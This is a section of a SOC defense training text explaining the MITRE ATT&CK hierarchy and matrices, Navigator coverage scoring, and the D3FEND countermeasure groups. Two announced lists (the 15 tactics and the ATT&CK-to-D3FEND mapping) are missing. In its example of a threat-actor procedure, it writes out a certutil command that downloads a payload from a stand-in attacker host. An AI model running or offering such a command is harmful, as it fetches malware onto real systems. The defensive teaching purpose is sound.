3.3 MITRE ATT&CK and MITRE D3FEND Frameworks for SOC Defense

The MITRE ATT&CK Architecture

The MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) framework is the de facto global standard for modeling cyber adversary behavior. Created in 2013 by the MITRE Corporation, ATT&CK catalogs the observed post-compromise actions taken by advanced persistent threat (APT) groups against enterprise environments.

The Core Structural Hierarchy

1. Tactics (The "Why"): The adversary's tactical objective. Represents the high-level operational goal of an action.
2. Techniques (The "How"): The specific technical method utilized to accomplish a tactical objective.
3. Sub-techniques: Granular subdivisions of techniques that capture specific technical variations without bloating the matrix (e.g., Technique T1059: Command and Scripting Interpreter contains Sub-technique T1059.001: PowerShell and T1059.003: Windows Command Shell).
4. Procedures (The "What"): The specific, real-world implementation, code syntax, or command parameters executed by a known threat actor or malware family (e.g., APT28 using certutil.exe -urlcache -split -f http://evil[.]com/payload.exe to download a binary).

The Matrices within ATT&CK

• Enterprise Matrix: Covers Windows, macOS, Linux, Cloud (AWS, Azure, GCP, Microsoft 365, Google Workspace, IaaS), Network Devices, and Containers (Docker, Kubernetes).
• Mobile Matrix: Models adversary behaviors targeting Android and iOS mobile devices.
• ICS Matrix: Catalogs adversary behaviors targeting Industrial Control Systems, SCADA environments, and critical infrastructure equipment.

---

The 15 Current Enterprise ATT&CK Tactics

The current Enterprise ATT&CK Matrix contains 15 tactics. A tactic is an adversary goal—the “why” behind a technique—not a mandatory chronological step. Real intrusions can skip, repeat, or pursue several tactics at once:

---

ATT&CK Navigator for SOC Operations

The ATT&CK Navigator is a web-based visualization tool that allows SOC detection engineers and managers to perform critical operational assessments:

• Detection Coverage Scoring: Mapping existing SIEM correlation rules and EDR detections across matrix cells. SOCs assign maturity scores to individual techniques:
  • Score 0 (Red / Blind Spot): No logging or telemetry exists; total visibility void.
  • Score 1 (Yellow / Telemetry Available): Telemetry is ingested into SIEM, but no automated alert or correlation logic is deployed.
  • Score 2 (Light Green / Automated Alert): High-fidelity detection rule fires automatically upon technique execution.
  • Score 3 (Dark Green / Validated & Tested): Detection logic has been verified via purple team adversary emulation (e.g., Atomic Red Team) and tuned against false positives.
• Threat Group Profiling: Overlaying the known techniques of threat groups targeting the organization's vertical (e.g., overlaying FIN7 and Lazarus Group techniques) to identify overlapping techniques requiring immediate engineering priority.
• Gap Analysis & Investment Planning: Demonstrating detection voids to executive leadership to justify budget allocations for new telemetry sources (e.g., deploying Sysmon to address blind spots in process creation logging).

---

The MITRE D3FEND Framework

While ATT&CK catalogs adversary behavior, MITRE D3FEND (Detection, Denial, and Disruption Framework Empowering Network Defense) is a knowledge graph of cybersecurity countermeasure techniques. D3FEND standardizes defensive vocabulary; MITRE explicitly notes that it does not prescribe, prioritize, or rate the effectiveness of countermeasures. Sponsored by the National Security Agency (NSA) and released in 2021, D3FEND provides a standardized vocabulary for defensive engineering.

Current D3FEND Defensive Tactic Groups

[MITRE D3FEND Defensive Tactic Groups]
Model   -> Asset inventories, network mapping, and vulnerability assessment
Harden  -> Application, credential, message, and platform hardening
Detect  -> File, identifier, message, network, process, and user analysis
Isolate -> Access mediation, content quarantine, execution and network isolation
Deceive -> Decoy environments, files, identities, tokens, and network resources
Evict   -> Credential, object, process, and session eviction
Restore -> Restore access, credentials, configurations, data, and software

1. Model: Developing comprehensive asset inventories, network topologies, and mapping internal software dependencies (e.g., Asset Mapping, Network Mapping, System Vulnerability Assessment).
2. Harden: Proactively reducing attack surface prior to attack execution (e.g., Application Hardening, Credential Hardening, enforcing Windows LSA Protection, configuring memory protections like ASLR/DEP).
3. Detect: Observing and analyzing system artifacts and telemetry (for example, Process Lineage Analysis, Network Traffic Analysis, and File Integrity Monitoring).
4. Isolate: Dynamically constraining system components to limit damage (e.g., container sandboxing, EDR endpoint network isolation, Micro-virtualization).
5. Deceive: Deploying honeypots, canary tokens, and dummy service accounts to entice adversaries into revealing their presence (e.g., Decoy Environment, Decoy Object, Decoy Network).
6. Evict: Removing adversary access or artifacts (for example, Credential Eviction, File Eviction, Process Termination, and Session Termination).
7. Restore: Returning access, credentials, configurations, data, or software to a trusted operational state after defensive action.

---

Cross-Mapping ATT&CK to D3FEND

Detection engineering can relate offensive techniques to defensive techniques. D3FEND’s ATT&CK relationships are knowledge-graph aids and may be inferred or experimental, so validate them against the current release and the actual control: